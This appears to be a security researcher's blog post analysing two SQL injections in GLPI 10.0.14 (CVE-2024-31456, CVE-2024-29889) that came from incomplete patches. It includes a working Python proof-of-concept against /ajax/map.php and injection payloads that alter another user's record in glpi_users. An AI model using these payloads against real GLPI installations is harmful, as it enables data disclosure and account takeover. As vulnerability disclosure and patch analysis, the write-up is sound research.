Exploiting CVE-2024-29889 and CVE-2024-31456

Intro

After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really interested in this solution, and decided to investigate further. As the version 10.0.13 and 10.0.14 were published, I took a close look at the patches, and analysed how efficient they were to tackle the reported vulnerabilities. I discovered that CVE-2024-27096, was insufficiently patched, and that an SQL injection was still possible (CVE-2024-31456). I reported it to the vendor, and as the subsequent release was published (10.0.15), it appeared that it patched another SQL injection (CVE-2024-29889).

This article then describes how I uncovered CVE-2024-31456 and how to exploit CVE-2024-29889, the one I missed.

Abusing CVE-2024-31456

As discussed in one of my previous articles, the SQLi referred to as CVE-2024-27096 was patched as follows, in the routine Search::manageParams:

This routine was called from /ajax/search.php, before calling Search::getDatas:

$search_params = Search::manageParams($itemtype, $_REQUEST);

if (isset($search_params['browse']) && $search_params['browse'] == 1) {
    $itemtype::showBrowseView($itemtype, $search_params, true);
} else {
    $results = Search::getDatas($itemtype, $search_params);
    $results['searchform_id'] = $_REQUEST['searchform_id'] ?? null;
    Search::displayData($results);
}

This routine is as follows:

public static function getDatas($itemtype, $params, array $forcedisplay = [])
{

    $data = self::prepareDatasForSearch($itemtype, $params, $forcedisplay);
    self::constructSQL($data);
    self::constructData($data);

    return $data;
}

The idea was therefore to check if the routine Search::prepareDatasForSearch could be called without passing through manageParams beforehand. If so, and if user-controlled data were involved, it could be a way to bypass the patch.

It appeared that such situation exists, in the file /ajax/map.php. The three routines prepareDatasForSearch, constructSQL and constructData are called without calling manageParams.

Code of /ajax/map.php:

One can therefore exploit it in the same way as CVE-2024-27096:

import requests
import sys

if len(sys.argv) < 3:
	print("Usage: %s <url> <cookie>" % sys.argv[0])

url = sys.argv[1]
cookie = sys.argv[2]
content = requests.get(url +"/front/preference.php", headers={"Cookie": cookie}).text
csrf = content.find("glpi:csrf_token")
csrf = content[csrf+26:csrf+90]
sqli_result = requests.post(url +"/ajax/map.php", headers = {"Cookie":cookie, "X-Glpi-Csrf-Token":csrf, "Content-Type":"application/x-www-form-urlencoded"}, data={"itemtype":"User", "params[sort][]":"1`,extractvalue(rand(),concat(CHAR(126),database())) -- -"}).text
print(sqli_result)

I reported this issue to the vendor and it was assigned the identifier CVE-2024-31456.

Abusing CVE-2024-29889

Description:

An authenticated user can exploit a SQL injection vulnerability in the saved searches feature to alter another user account data and take control of it.

Honestly, I analysed the saved searches features, but I miss this clever SQL injection. As it was published, I took a look at the patch, and tried to understand what was going wrong. The patch was as follows (partial):

I knew that an SQL injection was uncovered in a previous version, affecting the same feature (CVE-2023-43813), and I guessed it probably was due to an incomplete patch. As explained in the article Exploiting GLPI during a Red Team engagement, one could exploit CVE-2023-43813 by injecting the POST’ed parameter itemtype that was insufficiently sanitised, with a payload like:

IVOIRE', savedsearches_pinned=CHAR(123,34,84,105,99,107,101,116,34,58,49,125) -- -;

They could break outside the original query and inject their own. However, in version 10.0.14, such attack does not work anymore.

First steps

To begin with, I added a few lines in the PHP code to log the SQL queries being executed, and triggered the faulty feature, in ajax/pin_savedsearches.php.

A request containing the parameter itemtype=Ticket was sent, because it was about a search related to the created tickets. The SQL query executed behind the curtain was as follows:

UPDATE `glpi_users` SET `savedsearches_pinned` = '{"Ticket":1}', `date_mod` = '2024-05-09 08:43:21' WHERE `id` = '3'

The JSON object saved as savedsearches_pinned is created by the code at line 51 we saw earlier, by the routine exportArrayToDb. Trying to set the parameter itemtype=Ticket' (notice the quote) would not work, because Ticket' could not resolve to a valid class name, making the application exit at line 45.

Another injection point

Since the only POST’ed parameter that was sent was itemtype, it seemed logical that the injection point was somewhere else. Since the two values that were passed to User::update were the ID of the user and $_SESSION['glpisavedsearches_pinned'], I had the feeling that the latter was probably the culprit.

Here is the clean code of the file (I added comments):

include('../inc/includes.php');

header('Content-Type: application/json; charset=UTF-8');
Html::header_nocache();

Session::checkLoginUser();

//we need to have a valid class name for $_POST["itemtype"]
if (!is_string($_POST['itemtype']) || getItemForItemtype($_POST['itemtype']) === false) {
    echo json_encode(['success' => false]);
    exit();
}

//kind of "json_decode"
$all_pinned = importArrayFromDB($_SESSION['glpisavedsearches_pinned']);
//if the parsed JSON stream contains a key that is the POST'ed itemtype
$already_pinned = $all_pinned[$_POST['itemtype']] ?? 0;
// $all_pinned[$_POST['itemtype']] wil be either 0 or 1, so useless for us
$all_pinned[$_POST['itemtype']] = $already_pinned ? 0 : 1;
//$all_pinned as JSON stream is saved as $_SESSION['glpisavedsearches_pinned']
$_SESSION['glpisavedsearches_pinned'] = exportArrayToDB($all_pinned);

$user = new User();
$success = $user->update(
    [
        'id'                   => Session::getLoginUserID(), //the ID of the user, normally cannot be altered
        'savedsearches_pinned' => $_SESSION['glpisavedsearches_pinned'], //the modified $_SESSION['glpisavedsearches_pinned']
    ]
);

echo json_encode(['success' => $success]);

The value of $_SESSION['glpisavedsearches_pinned'] toggles the state of a search (pinned or not / 1 or 0), and is supposed to contain a JSON object. Since there was an SQL injection, it seemed obvious to me that there was a way to manipulate $_SESSION['glpisavedsearches_pinned'], that would be passed unsanitised to the routine User::update. I then grep‘ed through the source code, looking for the regex \$_SESSION\[.*=. A bunch of results was returned, but sorting the results highlighted one line in src/User.php:

This piece of code was called when a user updates their preferences. If the name of the preference belongs to the list $CFG_GLPI['user_pref_field'], then it is stored in the $_SESSION, by prepending its name with the string ‘glpi’. I then edited my preferences and captured the request:

The parameter savedsearches_pinned was not set by default, but since the list $CFG_GLPI['user_pref_field'] is as follows (in inc/define.php), one could add the parameter savedsearches_pinned to hopefully write an arbitrary value in $_SESSION['glpisavedsearches_pinned']:

In other words, it means that we could use the preferences editing functionality to write something arbitrary to $_SESSION['glpisavedsearches_pinned'] since the key savedsearches_pinned belongs to $CFG_GLPI['user_pref_field'].

Building the payload

To make it work, one then first needs to update their preferences. To do so, simply edit them through the interface and send the request to the Burp’s Repeater. A CSRF token is in use, but it is not really problematic, because the error page would return a valid one. Therefore, a first faulty request should be sent to get a valid token, and the request should be resent with the expected value. Let’s send a first request with a POST’ed savedsearches_pinned to see its impact on the SQL request.

Editing the preferences:

Then trigger the vulnerable code, performing the SQL query:

The logged SQL query was as follows:

UPDATE `glpi_users` SET `savedsearches_pinned` = '{"test'":42,"Ticket":1}', `date_mod` = '2024-05-09 16:02:05' WHERE `id` = '3'

One can notice that the single quote is not escaped, breaking the JSON string, and thus making the SQL query invalid. As a proof-of-concept, let’s modify the username of the user glpi, having the ID 2.

The query is as follows:

UPDATE `glpi_users` SET `savedsearches_pinned` = '{"test', `name`=char(0x70,0x77,0x6e) where `id`=2; -- ":42,"Ticket":1}', `date_mod` = '2024-05-09 16:12:16' WHERE `id` = '3'

and the users table is now updated (:

Conclusion

The version 10.0.14 addressed two SQL injections, that were due to incomplete patches for the vulnerabilities CVE-2024-27096 and CVE-2023-43813. The first one (CVE-2024-31456, the one I reported) was quite easy to exploit, only finding a path in the code the called the vulnerable function without passing through the patched routine. The second one (CVE-2024-29889, the one I missed) was trickier, leveraging a permissive preference editing feature to inject a value inside the $_SESSION. The value was passed unsanitised enough to User::update, making an authenticated attacker able to manipulate any record inside the glpi_users table.

References

• Exploiting GLPI during a Red Team engagement
• GHSA: Account takeover via SQL Injection in saved searches feature
• Patch for CVE-2024-29889
• GHSA: Authenticated SQL injection
• Patch for CVE-2024-31456

• 2024 4
• 2023 13
• 2020 12